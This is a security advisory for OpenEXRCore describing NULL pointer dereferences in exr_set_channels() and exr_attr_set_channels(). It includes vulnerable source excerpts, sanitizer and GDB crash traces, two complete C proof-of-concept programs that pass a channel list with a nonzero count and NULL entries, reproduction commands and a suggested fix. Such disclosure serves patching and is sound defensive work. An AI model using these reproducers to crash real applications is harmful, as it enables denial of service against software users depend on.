GHSA-mqmw-xv8w-5jh4
CVE Information
Summary
OpenEXRCore has NULL pointer dereference bugs in the channel-list setter paths when a caller supplies
num_channels > 0withentries == NULL.Two public C API entry points are affected:
exr_set_channels() exr_attr_set_channels()Both validate the top-level
exr_attr_chlist_t *value, but they do not reject a NULL nestedentriespointer when the channel count is nonzero. The code then performsentries + cand dereferences the result.This is reachable through the public OpenEXRCore C API and causes deterministic crashes / denial of service. The two entry points are the same validation class and should be handled together.
Details
Affected code:
src/lib/OpenEXRCore/channel_list.c src/lib/OpenEXRCore/part_attr.cThe
exr_set_channels()path duplicates the caller-provided list:exr_result_t exr_set_channels ( exr_context_t ctxt, int part_index, const exr_attr_chlist_t* channels) { if (!channels) return ctxt->report_error (...); ... rv = exr_attr_chlist_duplicate (ctxt, &clist, channels); }Location on tested
main:src/lib/OpenEXRCore/part_attr.c:658-682
exr_attr_chlist_duplicate()trustssrcchl->entrieswhensrcchl->num_channelsis positive:numchans = srcchl->num_channels; rv = exr_attr_chlist_init (ctxt, chl, numchans); if (rv != EXR_ERR_SUCCESS) return rv; for (int c = 0; c < numchans; ++c) { const exr_attr_chlist_entry_t* cur = srcchl->entries + c; rv = exr_attr_chlist_add_with_length ( ctxt, chl, cur->name.str, cur->name.length, cur->pixel_type, ...); }Location on tested
main:src/lib/OpenEXRCore/channel_list.c:214-245The
exr_attr_set_channels()path performs the same invalid nested pointer access inline:numchans = channels->num_channels; rv = exr_attr_chlist_init (ctxt, &clist, numchans); if (rv != EXR_ERR_SUCCESS) return EXR_UNLOCK_AND_RETURN (rv); for (int c = 0; c < numchans; ++c) { const exr_attr_chlist_entry_t* cur = channels->entries + c; rv = exr_attr_chlist_add_with_length ( ctxt, &clist, cur->name.str, cur->name.length, ...); }Location on tested
main:src/lib/OpenEXRCore/part_attr.c:1418-1450Triggering state for both PoCs:
channels.num_channels = 1 channels.num_alloced = 0 channels.entries = NULLFor
exr_set_channels(), observed ASAN/UBSAN output on latestmaincommitb25f9dc9af78d662eb45969e9e1cd395082d1f13:src/lib/OpenEXRCore/channel_list.c:229:62: runtime error: applying zero offset to null pointer #0 exr_attr_chlist_duplicate src/lib/OpenEXRCore/channel_list.c:229:62 #1 exr_set_channels src/lib/OpenEXRCore/part_attr.c:674:18 #2 main afl-findings/poc/poc_core_set_channels_null_entries.c:39:12With UBSAN recovery enabled, it continues to:
src/lib/OpenEXRCore/channel_list.c:234:18: runtime error: member access within null pointer of type 'const exr_attr_chlist_entry_t' ERROR: AddressSanitizer: SEGV SUMMARY: AddressSanitizer: SEGV src/lib/OpenEXRCore/channel_list.c:234:23 in exr_attr_chlist_duplicateObserved GDB stack for
exr_set_channels():Program received signal SIGSEGV, Segmentation fault. #0 exr_attr_chlist_duplicate( ctxt=0x516000000080, chl=0x7ffff4f001e0, srcchl=0x7ffff51000e0) at src/lib/OpenEXRCore/channel_list.c:234 #1 exr_set_channels(...) at src/lib/OpenEXRCore/part_attr.c:674 #2 main() at afl-findings/poc/poc_core_set_channels_null_entries.c:39For
exr_attr_set_channels(), observed ASAN/UBSAN output:src/lib/OpenEXRCore/part_attr.c:1436:68: runtime error: applying zero offset to null pointer #0 exr_attr_set_channels src/lib/OpenEXRCore/part_attr.c:1436:68 #1 main afl-findings/poc/poc_core_attr_set_channels_null_entries.c:40:12With UBSAN recovery enabled, it continues to:
src/lib/OpenEXRCore/part_attr.c:1441:22: runtime error: member access within null pointer of type 'const exr_attr_chlist_entry_t' ERROR: AddressSanitizer: SEGV SUMMARY: AddressSanitizer: SEGV src/lib/OpenEXRCore/part_attr.c:1441:27 in exr_attr_set_channelsObserved GDB stack for
exr_attr_set_channels():Program received signal SIGSEGV, Segmentation fault. #0 exr_attr_set_channels(...) at src/lib/OpenEXRCore/part_attr.c:1441 #1 main() at afl-findings/poc/poc_core_attr_set_channels_null_entries.c:40The same vulnerable source pattern is present in at least:
v3.2.9 v3.3.11 v3.4.12 current main: b25f9dc9af78d662eb45969e9e1cd395082d1f13PoC
Minimal C reproducer for
exr_set_channels():#include <openexr.h> #include <unistd.h> static void ignore_error (exr_const_context_t ctxt, exr_result_t code, const char* msg) { (void) ctxt; (void) code; (void) msg; } int main (void) { exr_context_t ctxt = NULL; exr_context_initializer_t init = EXR_DEFAULT_CONTEXT_INITIALIZER; int part = -1; const char* path = "/tmp/openexr_core_set_channels_null_entries.exr"; init.error_handler_fn = ignore_error; if (exr_start_write (&ctxt, path, EXR_WRITE_FILE_DIRECTLY, &init) != EXR_ERR_SUCCESS) return 1; if (exr_add_part (ctxt, "p", EXR_STORAGE_SCANLINE, &part) != EXR_ERR_SUCCESS) return 1; exr_attr_chlist_t channels; channels.num_channels = 1; channels.num_alloced = 0; channels.entries = NULL; (void) exr_set_channels (ctxt, part, &channels); (void) exr_finish (&ctxt); unlink (path); return 0; }Minimal C reproducer for
exr_attr_set_channels():#include <openexr.h> #include <unistd.h> static void ignore_error (exr_const_context_t ctxt, exr_result_t code, const char* msg) { (void) ctxt; (void) code; (void) msg; } int main (void) { exr_context_t ctxt = NULL; exr_context_initializer_t init = EXR_DEFAULT_CONTEXT_INITIALIZER; int part = -1; const char* path = "/tmp/openexr_core_attr_set_channels_null_entries.exr"; init.error_handler_fn = ignore_error; if (exr_start_write (&ctxt, path, EXR_WRITE_FILE_DIRECTLY, &init) != EXR_ERR_SUCCESS) return 1; if (exr_add_part (ctxt, "p", EXR_STORAGE_SCANLINE, &part) != EXR_ERR_SUCCESS) return 1; exr_attr_chlist_t channels; channels.num_channels = 1; channels.num_alloced = 0; channels.entries = NULL; (void) exr_attr_set_channels (ctxt, part, "badChlist", &channels); (void) exr_finish (&ctxt); unlink (path); return 0; }Reproduction commands on the latest-main validation build:
ASAN_OPTIONS=detect_leaks=0:abort_on_error=1:halt_on_error=1:symbolize=1 \ UBSAN_OPTIONS=halt_on_error=1:abort_on_error=1:print_stacktrace=1 \ /root/openexr_latest_check/openexr-main/latest-check/bin/poc_core_set_channels_null_entries ASAN_OPTIONS=detect_leaks=0:abort_on_error=1:halt_on_error=1:symbolize=1 \ UBSAN_OPTIONS=halt_on_error=1:abort_on_error=1:print_stacktrace=1 \ /root/openexr_latest_check/openexr-main/latest-check/bin/poc_core_attr_set_channels_null_entriesExpected result:
runtime error: applying zero offset to null pointer SUMMARY: UndefinedBehaviorSanitizer: undefined-behaviorWith UBSAN recovery enabled:
ERROR: AddressSanitizer: SEGVSaved evidence:
evidence/afl-findings/poc/poc_core_set_channels_null_entries.c evidence/afl-findings/poc/poc_core_set_channels_null_entries.san.out evidence/afl-findings/poc/poc_core_set_channels_null_entries.recover.out evidence/latest-main-check/logs/poc_core_set_channels_null_entries.run.out evidence/latest-main-check/logs/poc_core_set_channels_null_entries.gdb_latest_main.txt evidence/afl-findings/poc/poc_core_attr_set_channels_null_entries.c evidence/afl-findings/poc/poc_core_attr_set_channels_null_entries.san.out evidence/afl-findings/poc/poc_core_attr_set_channels_null_entries.recover.out evidence/latest-main-check/logs/poc_core_attr_set_channels_null_entries.run.out evidence/latest-main-check/logs/poc_core_attr_set_channels_null_entries.gdb_latest_main.txtImpact
This is a public C API NULL pointer dereference / crash in OpenEXRCore channel list setters.
Applications that call
exr_set_channels()orexr_attr_set_channels()with untrusted or insufficiently validated channel-list data can be crashed by a nonzeronum_channelsvalue withentries == NULL.Confirmed impact:
availability loss process crash public C API denial of serviceNot confirmed:
remote code execution information disclosure controlled memory corruption beyond the NULL dereference direct crafted .exr file trigger through the standard reader pathSuggested severity:
ModerateSuggested CWE:
CWE-476: NULL Pointer Dereference CWE-20: Improper Input ValidationSuggested fix:
Reject
num_channels > 0 && entries == NULLin both public setters and in the shared duplicate helper before anyentries + cpointer arithmetic.